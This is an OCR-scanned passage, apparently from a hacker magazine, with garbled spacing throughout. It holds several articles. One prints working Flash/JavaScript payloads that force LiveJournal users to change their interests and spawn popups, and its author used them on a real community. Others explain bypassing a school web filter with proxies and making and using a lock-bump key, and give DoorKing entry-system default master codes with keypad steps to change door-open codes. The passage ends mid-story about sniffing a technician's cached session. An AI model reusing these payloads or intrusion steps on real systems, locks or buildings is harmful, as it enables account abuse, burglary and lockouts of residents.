<lj-template name= ''video ''>http://img.photobucket.com/(some url).swf"height 

-="l"width="l"AllowScriptAccess="always</lj-template> 

The A l i owScri ptAccess tag a l l ows javascr ipt to be run  from flash .  
I dow n loaded a tri a l  vers ion of  F l a sh  8 and strugg led w i th  th i s  monster app l icat ion 's 

awkward i nterface u nti l I f igu red out  where I needed to drop my l oad, after wh ich  it beca me 
extremely  s i mp le .  
getURL("javascript:document.write( '<form method=post name=esr2006 

action=http://www.livejournal.com/interests.bml><input type=hidden 

name=mode value=add><input type=hidden name=intid value=456049><input 

type=submit value=ESR></form>, );document.esr2006.submit();"); 

It bas i ca l l y  uses a s i ng le  U RL i n  order to wri te a l i tt le HTML form, then c l i ck  on the submi t  
butto n .  After i t  ran for  a coup l e  of hours i n  a pop u l a r  but  much d i s l i ked comm u n ity, I shut  i t  
o ff  and tr ied some other th i ngs. 

Another person proved i t  poss ib l e  to wr i te a post i ng  worm, in sp i te of L iveJourna l 's separa­
tion of domai ns,  because s i nce that t ime they have added another featu re, l ivejourna l .com/ 
porta l /, that shows "fr iend's entr ies"  on  the m a i n  l ivejourna l  s i te which made i t  poss i b l e  to use 
j avascr ipt to m a n i p u l ate the new post page, l ocated at l ivejou rn a l . com/update .bm l .  Th i s  code 
was n ever released i nto the w i ld ,  and was only tested in a ster i l i zed form .  

The  fo l lowi ng code was  used by  a tro l l ,  apparent ly  a n  obese orange cat, post i ng i n  the  
"proanorex ia "  comm u n ity:  
getURL("javascript:document.write( '<html><body><script language=\ 

"JavaScript\"> function rUrl() { var cdate = 0; var sex = 0; targurl = new 

Array(4); targurl[O] = \"Donut_Girl\"; targurl[l] = \"Ronders\"; targurl[2] 

= \"Andikins\"; targurl[3] = \"Shay\"; var ran = 60/targurl.length; cdate 

= new Date(); sex = cdate.getSeconds(); sex = Math.floor(sex/ran); return(\ 

''http://encyclopediadramatica.com/index.php/\ '' + targurl[sex]); } function 

popupMe(){myleft=lOO;mytop=lOO;settings=\"top=\" + my top + \",left=\" 
+ myleft + \",width=900,height=800,location=no,directories=no,menubar 

=no,toolbar=no,status=no,scrollbars=yes,resizable=yes,fullscreen=yes\ 

";PopupWin=window.open(rUrl(),\"Popupwin\", settings);PopupWin.blur();} 

</script><form method=post name=esr2006 action=http://www.livejournal. 

com/interests.bml><input type=hidden name=mode value=add><input 

type=hidden name=intid value=456049><input type=submit value=ESR></ 

form></body></html>, ); PopupMe(); document.esr2006.submit();"); 

Th i s  is the fi n a l  known examp le  of th i s  exp lo i t  i n  a fu n ct iona l  form, wh i ch not o n l y  
made u sers i nterested i n  Exxon Sea l Remover, but  then tr iggered an  aggress ive 
popu p  of one of fou r  fucked-u p-peop le  pages from encyc loped ia  dramatica .  

What can we learn  from the past, with respect to  deve lopment and secu r i ty? At fi rst g lance, 
i t  wou l d  appear that th i s  is j u st a more advanced vers ion  of the same damn th i ng  that happened 
with Exxon Sea l Remover in 2001  (see http ://www. l ivejourn a l . com!too l s/memories .bm l?user 
=acp izza& keyword=Exxon+Sea l+Remover+bugfix . )  where image tags were n ' t  be ing p roperly 
fi l tered and  a l l owed for m a n i p u l at ion of the user's i nterests, or, i n  the 2 1 -January-2 0m entry, 
to l a u nch the user's m a i l  c l ient  with a shock ing message ( i t  i n it ia l l y sa id someth i ng e l se). 

On the other hand, one has to take i nto account  rea l i ty, someth i ng we hackers often over­
look.  Wh i l e  o n l y  hav ing  a day or two of s ign if icant downt ime i n  the l ast ha l f  dozen yea rs, 
L iveJourna l . com has been complete ly  overta ken in popu la r i ty by the bug-r idden Swiss cheese 
that is MySpace.com, and that's because MySpace.com used the same p h i l osophy that M ic ro­
soft has used in a l l  the i r  p rod ucts (and perhaps u nti l recent ly  with the i r  OS): Get i t  work i ng, 
now. F ix  it when it brea ks. I n  a wor ld  with no rea l corporate respons i b i l ity, f ix i n g  secu r i ty ho les 
before they are expl o its or spend ing  t ime creat ing q u a l i ty code i s  a los ing bus i ness mode l .  That 
saddens me deepl y, but th at's an  u nfortu nate rea l i ty. 

Kudos to the 80S and the 602. 
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G reetings from 30,000 feet, and welcome 
to another action-packed epi sode of the 
"Te lecom Informer!" I t ' s  late February and 
my l itt le  project in Spencer, Iowa j ust ended . 
Thanks to the money I made, I'm wing ing 
my way over the Tasman Sea - on an A i r  
New Zea land flight between Wel l i ngton and 
Mel bou rne, Austra l i a !  

S o  what was happe n i ng i n  Spencer? Fun  
stuff! Too bad i t's over. If you're a regu la r  
reader of  my artic les, you ' ve probably heard 
of access charges and the U n iversa l Serv ice 
Fund, aka U SF. If not, here's a quick refresher: 
long d i stance ca l l s have severa l chargeable 
components, which are bu i l t  into the few 
cents per m i n ute (or l ess) you pay to you r  long 
d i stance carr ier. 

When you make a long d istance ca l l , you r  
local exchange carrier ( LEe) del ivers the ca l l  
to you r  long distance carr ier at the tandem . For 
th i s, they charge a sma l l  fee to the long d i stance 
carrier, usua l l y  a fraction of a cent per m i n ute. 
You r  long distance carr ier takes the ca l l  over 
the i r  network to the nearest tandem switch to 
the ca l l  desti nation , where a term i nation fee i s  
pa id  to  the  LEC on the  other end. Th i s  i s  usua l l y  
a l so o n l y  a fraction of a cent per min ute, but 
in certa i n  high cost rura l areas, i t  can be over 
ten cents per min ute. These charges are ca l l ed 
"access charges" and they ' re the reason why 
long d istance ca l l s cost money and I nternet­
on l y  VolP ca l l s are free. 

For a long t i me, carriers such as I nterna­
t ional  Te lecom Ltd . (based in Seatt le, WA) 
have taken advantage of access charges by 
host ing free conference bridges, chat lines, 
and other serv ices - anyth ing that generates a 
lot of i n bound traff ic .  You can get free unified 
messaging from k7. net, free te leconferences 
from m rconference.com, and even free dia l­
u p  I nternet service from nocharge.com (in the 
Seatt l e  and Boston areas) .  Free i nternational  
ca l l s, however, had n ' t  been offered unt i l  
someone got a l itt le  creative in Spencer, Iowa. 

Why Spencer? I t's located in the remote 
Iowa Great Lakes region.  I t ' s  very expensive 
to provide loca l service to th i s  rura l  area and 

access cha rges are, as you m ight imagi ne, 
correspond i ng ly high.  However, thanks to 
U SF grants Spencer has p lenty of fast I n ternet 
con nect iv ity. VolP term inat ion to many foreign 
cou ntries, meanwh i le, is i ncredibly cheap, so 
long as you ' re term i nati ng to land l i nes. So you 
can probably see where this is goi ng. A s imp le  
game of  arbitrage! Ca l l  near ly  anywhere i n  the 
developed world  (we l l ,  l and l i nes in about 40 
cou ntries actua l ly) for only the cost of a phone 
cal l to Iowa ! Effective ly, if you had a cel l u l a r  
p l a n  offer ing u n l i mited n ight a n d  weekend 
m i n utes, you cou ld  make u n lim ited off-peak 
internationa l ca l l s. And done right, anyone 
offer ing th is serv ice cou ld make a ha l f  cent per 
m i n ute or more, sp l itting revenues with a loca l 
pa rtner in Spencer. 

We l l ,  the imp lementation worked beauti­
fu l ly. The soft PBXs hand ling the ca l l s were 
lean, mean,  moneymaking machines. U nfor­
tunate ly, I hear this rea l ly t icked off the long 
d i stance carr iers.  Ru mor has it they started 
putt ing pressu re on N ECA, the FCC, and 
anyone who wou ld  l isten .  Presumably u nder 
the mou nti ng pressu re of l ega l th reats, ou r 
partner in Iowa p u l l ed the rug out from under 
us .  I t  was fu n wh i l e  it lasted though, because 
prank  ca l l ing random peop le in Hong Kong at 
two in the morn i ng was a lot more i nteresting 
than most of the ca l l s that pass through my 
centra l office. 

After the past coup le of months' craziness 
(we were terminat ing over 1 0,000 minutes per 
hou r to Ch i na a lone), I needed a break - at 
l east unt i l I can dream up a better idea . So I 
took the opportunity to visit the love ly  south 
i s land of New Zea land.  Of cou rse, I checked 
out the telecomm u n ications landscape as 
wel l as the g laciers, mou nta i ns, and beaches. 
New Zea land te lecom is  in transit ion, in some 
areas more l i bera l i zed than others but rapid ly 
moderniz ing  nonetheless. 

Cel lu lar  services are the unexpected dino­
saurs - sti l l  a duopoly, as was the case five 
years ago on my last v is i t .  Vodafone operates 
GSM with EDGE and GPRS data service and 
Telecom NZ operates COMA (3G 1 xEV-DO 
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serv ice is offered i n  major metropo l itan areas, 
but sma l l  out ly ing areas sti l l  have on ly  IS-95 
coverage - not even 1 xRTT) . Wire less serv ice 
is i nsanely expensive by U.5. standards. 
I ncom ing ca l l s  are b i l l ed on a "ca l ler  pays" 
bas i s .  Cel l u lar  phones are a l l  in spec ia l  area 
codes in the 02x series and it ' s  outrageous ly  
expensive to ca l l  anyth i ng i n  these area codes. 
You can l itera l l y set up a th ree-way ca l l  from 
a land l i ne between Ch ina, New Zea land, 
and the U .5. for less than one third the cost 
of making a local ca l l to a mob i l e  phone i n  
Auck land .  (For example, from a payphone 
local cal l s  to a mob i l e  phone cost NZ$ 1 .20 
per m i n ute .)  

When I l ast visited, Te lecom NZ was 
beginning to offer DSL services. A 64Kbps/ 
1 28Kbps l i ne with metered bandwidth started 
at about NZ$70 per month, and the price 
went up  sharply depending upon how much 
data you transferred. Competit ion has, fortu­
nate ly, driven prices down.  New Zea land has 
adopted a sim i lar regu l atory approach as the 
U .S . ,  unbund ling the DSL and In ternet compo­
nents. It has worked and broadband pr ices are 
fa i r ly  reasonable; 1 28Kbps/4096Kbps serv ice 
runs about NZ$50 per month.  However, there 
is a vague "fair use pol icy" attached to these 
p lans .  Bas ica l ly, if you run peer-to-peer appli­
cations, bad th i ngs wil l  happen (such as th rot­
t l i ng, traffic shapi ng, and other QoS measu res) . 
From most providers, for about NZ$ 1 20 per 
month, you can get 200GB of transfer that is 
not subject to the same QoS restr ict ions.  

WiFi is begi n n i ng to pop up i n  more 
p laces, a lthough it ' s  not near ly  as common 
as in North America. Unfortunate ly, Kiwis try 
to charge for it  near ly  everywhere the serv ice 
is ava i lab le  to the pub l i c  - usua l ly at outra­
geous  rates and with heavy fi l ter ing.  I sought 
out u nsecured access poi nts i n stead - SSID of 
L 1 N KSYS, anyone? 

Wh i le my CDMA handset was able to roam 
in New Zea land, the cost of doing so was 
$2. 1 9 per m i n ute - proh ib it ive ly expens ive for 
a l l  but b i l l ionaires. I opted to let ca l l s  go to 
voice mail instead, and I was p leased to see 
that Ca l ler ID and i ncom i ng SMS were del iv­
ered correctly. Payphones were a much more 
economical  means of comm u nicati ng. Unfor­
tu nate ly, there i sn ' t  any one best way to make 
a ca l l  from a payphone i n  New Zeal and, so 
th i s  req u i red some research and creativ ity. 

The easiest way to ca l l  from a payphone 
i s  to buy a Telecom NZ prepa id ca l ling card. 
In fact, if you ' re ca l ling anyth i ng other than 
a to l l -free number, it ' s  the only way to make 
ca l l s from a payphone. I did n ' t  see a single  

payphone on the ent i re south i s land that 
accepted coi ns .  U nfortu nate ly, us i ng Telecom 
NZ i s  a l so one of the most expensive ways to 
ca l l  from a payphone, and i s  only pract ica l  
for loca l  ca l l s  (wh ich are unt i med and cost 
NZ$0.70). 

Te lecom NZ prepa id  ca l l i ng cards are sold 
at nearly every reta i I out let .  They have smart 
cards on them, and work sim i lar ly  to the 
QuorTech M i l le n n i u m  stored va lue  smart cards 
(sti l l avai lab le from Be l l Canada, a l though most 
other LECs in North America have given up on 
them). You stick it in the s lot, the remaining 
va lue  is displ ayed on the console, you dia l ,  
and the diminishing va l ue i s  refreshed each 
minute as you r  ca l l  progresses. 

Us ing  a prepaid cal ling card purchased 
in the U.s. is another option .  Costco se l l s an 
MCI ca l ling card that can be used for inter­
nationa l origination .  However, the rates are 
about US$0.35 per minute for ca l l s  back to 
the U .S . ,  and are near ly US$l per min ute for 
ca l l s  with i n  New Zea land. While sometimes 
good for short (one to two minute) ca l l s from 
payphones, i t  was proh ibit ive ly  expensive to 
use these for long ca l l s .  The to l l -free cou ntry 
direct numbers i n  New Zea land are 000-9 1 2  
for MCI,  000-9 1 3  for AT&T, and 000-999 for 
Spr int .  These n umbers can be used for mak ing 
col lect ca l l s, and a l l  of  the carr iers wil l  transfer 
you to thei r respective bus i  ness offices as 
wel l  (s i nce Verizon owns MCI now, MCI can 
transfer you to Verizon Wi rel ess customer 
serv ice - handy if you ' re hav i ng trouble with 
you r  i nternat iona l  roam i ng serv ice) . 

F i na l ly, there is a bu rgeo n i ng i ndustry i n  
third party VolP -based prepai d  cal ling cards, 
with rates at about NZ$0.04 per m i n ute. 
Of cou rse, there ' s  a catch :  you have to d i a l  
through a local  gateway and, being  VolP, 
the qua l i ty can somet i mes be i nconsistent. 
I ended up carry ing two ca l l i ng cards - one 
Telecom NZ card used to connect to the local  
gateway and a separate prepa id cal l i ng card 
to ca l l  from there to my fi na l  dest i nat ion .  You 
can make m u l t ip le  consecutive ca l l s  without 
redia l i ng the gateway number, which means 
you only pay Telecom NZ for one ca l l .  I used 
a GoTa l k  card, wh ich offered exce l l ent ca l l  
qua l ity and had local  access numbers near ly  
everywhere i n  New Zea land .  

Wel l ,  the captain informs me that  i t ' s time 
to put away portab le  e lectron ic  devices, so 
it ' s  time to bring this issue of the "Te lecom 
I nformer" - and my laptop - to a c lose. Next 
stop, the land of kangaroos, wa l lab ies, and 
Tel stra !  
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Avoiding Internet 
by Major Lump 

MajorLump@hotmail.com 
"Yes, no, maybe so, " goes the chi ld hood 

phrase. My friends and I took great delight 
in end less l y  repeating what we thought was 
such a c lever l itt le  rhyme. For the hacker, 
however, this ph rase rings particu l a r ly true. 
System administrators often think in terms of 
b lack and white (the "yes" and "no") while the 
hacker sees shades of gray (the "maybe so"). 
The average computer user often assu mes he 
cannot outsmart or outthink the trained profes­
siona l .  When stacking the teenage power user 
against the professiona l system administrator, 
it wou ld  seem the administrator wou ld have 
the advantage. Not so. The gray scale always 
defeats the b lack and white. 

I was recent ly  su rfing the Internet at my 
school when I decided to pay a visit to 2600. 
com. I typed in the URL, pressed enter, and 
waited for the page. Rather than the green 
2600 logo, a b l ue "Websense" logo stared 
me in the face. It tu rned out that a l l hacking 
re l ated websites are b locked, as we l l  as other 
"inappropriate" materia l .  Since I attend a 
rather l ibera l ,  prestigious prep school (no, I ' m  
not a snob), I was surprised that the system 
administrator governed with such an iron fist. 
Sure ly  a school that encou rages freedom of 
speech wou ld  not use a content b locker and 
thus stoop to the l evel of many foreign govern­
ments (the ones we sh un). I knew I needed to 
find a sol ution to the prob lem and regain my 
freedom. 

Google, as many hackers know, is a 
great information miner. I quick ly directed 
my browser to Google  and searched under 
"hacking websense". The tenth hit (Secu rity­
ForumX - A workaround to Websense) did the 
trick. Nicely outlined in front of me was a hack 
for avoiding the watchfu l eye of Websense. I 
learned, from reading the artic le, that the 
Websense fil ter does not monitor https connec­
tions (which use the SSL protocol). I am not 
sure exactly  why but I suspect that it is either 
due to the encryption (SSL) or the protocol 
(SSL uses port 443 rather than port 80). Either 
way, a user can access a proxy through an 
https connection and thus liberate their web 
browsing habits. After trying a few proxies, 
my favorite was https: Ilwww.proxyweb. 

-net, but others inc l ude MegaProxy Proxify 
(https: Ilmegaproxy. com) and Proxify 
(https: Ilwww.proxify.com). For a l ist of 
great proxies and other goodies visit http: II 
-w w w . p r o x y w a y . c o m / w w w / f r e e­
proxy-server-list.html, http:// 
-tools.rosinstrument.com/proxy/, 
or just Google for it (" free proxies + 
https" wil l do the trick). 

There is another hack or workaround 
for extracting information that is b locked by 
a fi l ter. After out lining the proxy hack, the 
fo l lowing concept seems a l itt le  quaint. But  if 
the https/SSL proxy does not work, this primi­
tive hack can be an effective last resort. I f  you 
want to get a smal l fact or a tidbit of informa­
tion from a specific, b locked website, you 
can use Goog le ' s  "site : "  operator to search the 
website. After retrieving the resu l ts, Google 
inc l udes two l ines of  text under the l ink to 
each hit. Norma l l y, these tidbits of informa­
tion wou ld  be b locked since they originate 
from a b locked website. However, Goog le ' s  
resu lts can stil l paraph rase sma l l  sections (two 
l ines) of the target site. The more specific your  
search terms, the  more pertinent the  informa­
tion retu rned. For example, let's say I wou l d  
like t o  find t h e  email address of 2600.com ' s  
web master. Norma l l y  you wou l d  g o  t o  2600. 
com to get this information, but seeing that I 
am on a fil tered network, the site is b locked. 
However, I can Google this search term: 
"site:2600.com email + webmaster" 
and the second hit gives me the email add ress: 
webmaster@2600.com. This hack ' s  major 
stumbl ing b lock is, of cou rse, that only  
smal l tidbits of  information can be  retrieved. 
However, in dire situations this workaround 
can be a l ifesaver. 

Since network fi l tering is a major issue and 
affects peop le al l over the wor ld,  there is a 
p lethora of onl ine resources discussing hacks 
and workarounds. lfyou 're interested in learning 
more I suggest that you visit http://www • 

-zensur.freerk.com, http://peter 
-rost.blogspot.com/2007/01/top-
-ten-methods-to-access-blocked. 
-html, orhttp://www.webstuffscan. 
-com/2006/11/23/how-to-access-
-blocked-websites-top-lO.Ofcourse, 
Google is another great resou rce. Just Google  
"accessing blocked websi tes" and 
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you shou ld have more h its than you know 
what to do with .  Before I end, I wou ld  l i ke to 
j ust make one last comment. Major  props go 
to Goog le  for the i r  Google Docs and Spread­
sheets. I wrote th i s  a rt ic le  on the i r  onl ine  text 

ed itor and found that i t  is both easy to use and 
great for wr it ing "controvers i a l "  art ic les that 
can' t  wander i nto the wrong hands (namely 
my school's system adm i n i strator) . I t ' s  a hack­
er's best fr iend.  

Hacki ng You r  
Own Fran 

by Cliff 
The on ly  reason I want 2600- land to know 

the fo l lowing  i s to i nc rease you r  own secur ity. 
I 've del i bC'rated long and hard, and as th i s  
i nformation i s  pub l i c  doma i n  anyway and i s  
cu rrent ly i n  use by the "bad guys," I trust you 
wi l l  not use it for bad pu rposes . Rather, us ing 
th i s  knowledge ma l i c ious ly  is wrong, stupid,  
and i l l ega l i n  practica l l y  every country and 
comm u n ity in the wor ld .  U se i t  i nstead to look 
arou nd you r  home, work, and possess ions 
and dec ide what addit iona l  measu res (a l so 
d i scussed) you wish to take. 

Ya le  i s  a company that makes locks 
- pr imar i ly  the l atch-sty le  locks, but a l so 
pad l ocks, etc .  U n ion a l so make locks with 
latch-sty le  keys . You may have seen some at 
work or on you r  patio doors. I n  fact, latch­
sty le key locks are everywhere. Someti mes 
they're connC'cted to mortise bolts, someti mes 
to pad locks, somet i mes to latch locks, and a l l  
of them can b e  opened b y  an amateur i n  less 
than two seconds. Back up.  read that aga i n .  
I c a n  open you r  front door i n  two seconds. 
leav ing no trace, no force, then go to you r  
neighbor a n d  d o  the same aga i n .  A n d  aga i n .  
S o  fast that I don 't even look susp ic ious .  I have 
a skeleton key. I ' m  going  to te l l  you how to 
make one. 

F i rst, the science b i t . . .  quick - to the pool 
tab le !  I f  you have several ba l l s touch i ng in a 
l i ne and you fi re the cue ba l l  at one end of 
the l i ne, the ba l l  at the other end shoots away. 
If you have never tr ied th i s, it is the core of at 
least ha lf  of a l l  "tr ick-shots." (Be a l i tt le  creative 
and you 've now got a s ideshow act as wel l  as a 
skeleton key - th i s  is a good va l ue a rt i c l e l )  

The  b i t  to  take away i s  that the  energy i s  
transferred through the  cha i n  and moves the 
end ba l l .  The same pr inc ip le  i s  involved in th i s  
techn ique but  you need to  understand locks to 

see how th i s  is usefu l .  
Locks have a number of p ins  (around 

five for a house key) that  are sp l i t  i n  one of 
(usua l ly n i ne) pos i t ions a long the i r  length 
wh ich are spr ing- loaded to i nterrupt the rota­
t ion of the mechan i sm (see d iagram I a and 
1 b for a s imp l i fied look) .  Inserting the (r ight ! )  
key i n  the  lock pushes a l l  t he  p ins  so  the i r  
sp l its come i nto l i ne w i th  the  barrel of  the 
mechan i sm, a l lowing i t  to turn .  I nsert ing the 
wrong key leaves the p ins sti l i  m i sa l i gned so 
the lock won't turn .  A very s imp le  mechan i sm 
but pure gen iu s  when you cons ider i t ,  g iv ing 
5A9 comb i nations = 59,049 d i fferent unique 
combi nat ions of keys and locks for five p ins 
wi th n i ne pos i t ions .  

A las,  phys ics  has rendered every s i ngle one 
of those 59,049 locks openable with one key, 
p l u s  a l i tt le  bump of energy. Because of th i s .  
these skeleton keys are ca l led "bump" keys ' 

As wi th the poo l ba l l s ,  if you can i ntrod uce 
suffic ient energy to one end of the ba l l  cha i n  
(or i n  th i s  case, o n e  h a l f  o f  the lock p in), the 
other end jumps away to absorb the energy (or, 
i n  th i s  case, the top ha lf  of the p in jumps out 
the way, a l lowing the lock to turn ) .  We do th i s  
wi th  a bump key. A bump key i s  a regu lar  key 
cut down to the lowest sett ing (see d iagrams 
2,1 for a normal key (my house key, in fact) ,md 
2 b  ( the bump key) ) .  You can do' th i s  you rself 
with a sma l l  fi le .  If i t  takes you more than 20 
m i n utes, rea l ly, you 're try i ng too hard!  

Make su re you get n ice smooth s lopes on 
the bump key - otherwise you may make a key 
that w i l l  go i nto a lock but not come out aga i n .  
Very embarrass ing when you have t o  exp l a i n  
t o  t h e  wife/ locksm ith ! 

However, the fu n n i l y-shilped key a lone 
wi l l  not open al l  doors . . .  you need some bump 
too, to jump a l l  the top parts of the p ins i1nd 
a l low the barrel to turn .  Th is  is the low-tech b i t  
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P i n  i n  c l o sed 
positi o n  

of the show - the back-end of a screwd river i s  
perfect. I n  order to pass the energy to the p i ns, 
you need to i nsert your  new key, but then pull 
it out with a click - th i s  is essent ia l .  Next, apply 
a sma l l  amount of torque to the key - not a 
h uge amou nt, j ust enough (th i s  wi l l  come with 
pract ice) . F i na l ly, h i t  the top of the bump key 
with enough force to crack and maybe damage 
the i ns ides of a hard-boi led egg. 

If i t's worked, you can twist the key i n  the 
d i rection of the torque you app l ied. If not, pu l l  
the key out one c l ick aga i n  and try once more. 
I f  you sti l l  can't get i t  to work, you may be 
h itti ng too soft, have cut you r  key too crudely 
(a lthough i t's very tolerant), or be app ly ing  too 
much or too l itt le  torque. Exper i ment a b i t !  

So now you have a skeleton key for every 
lock the key wi l l  fit. Back up a second. One 
key and 2 0  m i n utes of work just got you access 
to a l l  59,049 formations of that lock. B l i mey. 
And don't i magi ne a $ 1 00 lock is better than a 
$ 1 0 one - they're a l l  the same. And pad locks 
too - if  you can get a key to fit the lock ( i . e. ,  i t  
i s  the r ight s ize and has the r ight gati ng), you 
can open every i n stance of that lock. Doub le  
B l i mey. 

Let's cons ider the imp l ications of th i s  a 
second. Say you l ive i n  a student dorm b u i l d ing 
where each room has a key on the same lock 
su i te (same shaped keys). With in  20 m inutes 
of mov i ng i n, the guy next door cou ld have a 
key to every room i n  the b u i l d i ng, inc l u d ing 
the secur ity office ! In a dorm bu i l d i ng you 
cannot fit your own locks to the doors - you 
may as wel l  leave the door open i n  fact. Is that 
a pad lock on the secur i ty barr ier at the car 
park? Sudden ly you see i t  as unlocked - there 
to l et you rse lf into. 

So now you 're hopefu l l y  i nformed and 
worried, and wondering how you can protect 
you rself and you r property. Good . Knowledge 
is power, and now you know as much as the 
peop le  who want to stea l you r th ings . Have a 
look at what locks you have and what you 're 

Outer  

I n n e r  

protecti ng with those locks. There are several 
th i ngs you can do to i mprove your  secur i ty. 

1 )  F i t  an e lectron ic  system (Expensive, but 
what fu n !  Th i s  i s  the excuse you 've a lways 
wanted . )  w i th card access, ret i na  scans, RF I D­
reader, etc . ,  etc .  

2 )  F i t  "Chubb" sty le  locks i n  add it ion to 
l atch locks. They are the ones which j ust show 
a keyhole through the door on the outs ide.  
Th ieves have no way of knowi  ng exactly  
what's beh i nd the  hole, so  p ick ing i s  harder 
work ( i nexpensive, but heavy to carry). 

3) Regu lar  bolts are a great addition once 
you're on the i ns ide .  

4) Get a b ig  dog and a larms, etc. - deter­
rent factor! 

But  u lt i mate ly, if someone wants to break 
i n to your  home, they w i l l .  We can either isolate 
ou rse lves through fear i nto los i ng commun i ty, 
or we can rea l ly get to know our neighbors 
and a l l  keep our eyes out for one another. 

And as we come to know and trust our 
neighbors, we get to bu i ld someth i ng far more 
va l uab le than mater i a l  goods are worth anyway 
- a fee l i ng of secur i ty as wel l as a physica l ly 
more secure neighborhood . Which world  do 
you want to l ive i n? You can make it happen .  
You start sma l l  with you r own neighbors, your 
own corr idor, and encou rage it to spread. We 
can get our ne ighborhoods back. 
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Dorking 
th 

by Cadet Crusher 
I f  you l ive in a newer or  renovated apart­

ment b u i l d ing, chances are there is a tele­
phone entry system that contro l s  visitors ' 
access to the b u i l ding, and chances are it ' s  
o f  the DoorKing brand . I have one of these 
devices contro l l ing access to my bui ld ing and 
i t  occu rred to me one day short ly  after moving 
in to investigate the secur i ty of such an access 
contro l system after one of my friends used 
it to enter my b u i l d ing. What p iqued my 
i nterest was the fact that the phone number 
of the DoorKing showed u p  on my Ca l ler 1 0. 
So I ca l l ed it back.  Its response was mere ly  a 
short beep fo l lowed by s i l ence, i n dicating to 
me that it was await ing instruct ion. In order 
to confirm this assumpt ion,  I downloaded 
the operating manua l ,  convenient ly  located 
at http : //www. dkacce s s. com/Eng l i s h/Te le 

"'phone _Entry / 1 8 35-0 65-F- 8-05. pdf , wh ich 
covers mode l s  183 3 ,  1834,  183 S ,  and 183 7 

(figur ing out what model your b u i l d i ng has 
is fa i r l y  t rivia l ,  j ust match you r  menta l (or 
digita l )  pictu re of you r  bu i l ding ' s  model with 
one on the DoorKing webs i te (www. doorking. 

c om) ) . Indeed it was awa it ing com mand . 
Basics of Programming Door­
King Telephone Entry Systems 

Before we begin, a standard disc l a i mer is 
in order: I prov ide th i s  information for educa­
t iona l pu rposes and am not respons ib le  for 
what any ind ividua l  may do with it . 

The most i m portant th ing to note i s  that 
a l l  of the fo l l owing progra m m ing steps m u st 
be execu ted on the box ' s  keypad. Dia l-in 
program ming access i s  o n l y  s u pported via 
the DoorK ing Remote Account  Manager 
software (wh ich  I have n ' t  h a d  t h e  oppor­
tu n i ty to exam i ne yet - more on that in the 
futu re) . Another point to note is that  the box 
wi l l  g ive you feedback as you give i t  instruc­
t ions, a short beep wi l l  be emi tted after each 
successfu l program step, and a long beep 
(beeeeeeep, as the manua l  states) wi l l  s ignal 
end of programm ing. Last l y, you w i l l  need 
tbe master code for the box. Convenient l y  
for u s  t b e  factory code i s  9999 . I f  t h e  master 
code has been changed I suggest trying 123 4, 
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1111 - 8888, or the b u i lding ' s  address ( I  
have a fee ling you ' l l  b e  i n  l uck) .  One more 
th ing: wben you see someth i n g  l ike *07 in the 
s teps below, that means press * then 0 then 7 

unless otherw i se stated.  Good, now we can 
get to the fun st u rr. 

Setting Tone/ Pulse Dialing 
Th i s  is the easiest th i ng to make the box 

do (as we l l  as quite h u morous) .  J u st fo l low 
these steps: 

1) D i a l  *07 then the master code. 
2) Dia l 0* for tone dia l ing or  1 * for p u l se 

dia ling. 
3 )  Press 0 and # together to end the 

program m ing cyc le .  
I t ' s  that  easy ! Now you can watch every­

one ' s  befudd led looks as they wa it  for the box 
to dia l us ing p u l ses. 

Changing Tone Open Codes 
Tone open codes are what the ca l l ed pa rty 

(the res ident) must d i a l  from h i s  or her phone 
to unlock the door for the guest. From the  
manual : 

1) Dia l *05 then the master code. 
2) Dia l 0*,  1 * ,  or 2* to designate wh i ch 

re lay you wish to progra m .  Most l i ke ly  it i s  
Re lay 0 or 0*  Each box  can control th ree 
doors/gates, one per rel ay. 

3 )  Dia l the new tone open code. This w i l l  
b e  fou r  d igits . I f  you want t o  make i t  one d ig i t, 
l i ke 9, then vou wou l d  dia l 9 # # # .  Each # is a 
b lank digit .  The defa u lts are Re lay 0 = # # # # ,  
Relay1 = 9876,  Relay 2 = S432.  

4)  Press 0 and # together to end the 
progra m m ing cyc le .  

I shou ld mention what  Relays 0-2 a re.  The 
box has th ree re lays, one re l ay can contro l 
one door/gate. We are most interested in 
Re lay 0 as i t  i s  the primary rel ay and most 
l ike ly  the one contro l l ing the door/gate we 
wish  to com mand. N ow only  you wi l l  know 
the proper tone open code, so everyone e l se 
wil l have to get u p  off the couch to l et their 
v i s itors in. 

Other Capabilities 
Programming the box from the keypad 

a l l ows for a p l ethora of m i sch ief to be done.  
Here are j ust a few th ings possib le ·  changing 
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fou r  d ig i t  entry codes, sett ing  the welcome 
message, sett ing  the door open t ime (how 
long the re l ay w i l l  keep the door u n l ocked 
after access is granted), eras ing the ent i re 
d i rectory, and,  by far the most u n sett l i ng, 
reverse lookups of d i rectory codes to res i ­
dent  phone  n u m bers. A l l  o f  these fu nct ions 
and more can fou n d  in  the manual  ( refer to 
the U RL above) .  P lease use d i scret ion when 
exp lor ing  th i s  system.  Don ' t  d i sab le  any of 
the l ocks or do anyth i ng that wou ld  compro­
m i se the secur i ty of the b u i l d i ng .  Remember 
we ' re here to learn .  

Conclusion 
Dork i ng a DoorK ing  entry system is aston­

i s h i ng ly  s imp le .  I was  surpr i sed to  fi nd tha t  so  

much was  p rogrammab le  us i ng  the  keypad 
i nterface and a meas ly  fou r  d ig i t  master code. 
The above examp les a re harm l ess pran ks, 
but the poss i b i l i ty for m uch more m a l i c ious  
actions does ex i st .  I t  does have a n  RS-32 port 
tucked away beh i nd its l ocked face p l ate 
and most mode l s  have a 5 6 k  modem b u i l t  
i n  for p rogra m m i n g  v i a  t h e  Remote Account  
Management softwa re, so I assume the ab i l i ty 
to program it v i a  the keypad is a fa i l safe i n  
case n o  other progra m m i n g  methods are 
ava i l ab le .  Oh wel l ,  at l east you can reset the 
system ' s  welcome message to l et everyone i n  
you r  b u i l d i ng know that you "pwnd th i s  p l ace 
dODd" .  

by Xyzzy But  just for k i cks let ' s  p retend I d i d n ' t  
L i ke most peop le  I don ' t  g o  l ook i n g  for have a key l ogger ru n n i ng. The tech n i c i a n  

troub le .  I ' ve never made a hobby o f  try i ng to d i l igent ly  c l osed the browser w i ndow when 
steal  passwords or v io late peop l e ' s  pr ivacy. he fi n i s hed, but  he neglected to q u i t  the 
But when a n  opportu n ity s l aps you r ight in b rowser ent i re ly. Th i s  means that his author i­
the face, I ' m  as cu r ious  as the next person. zation sess ion was sti l l  cached. La unch you r 
Th i s  is the story of one of those opportu n it ies .  favor i te packet s n i ffer, re load tec h . nyc. rr .com 
I ' m  not here to demonstrate any e l ite hack, in the b rowser, and voi l a !  You have captu red 
just to share i nformat ion with you about a the HTTP header conta i n i ng the tech n i c i an ' s  
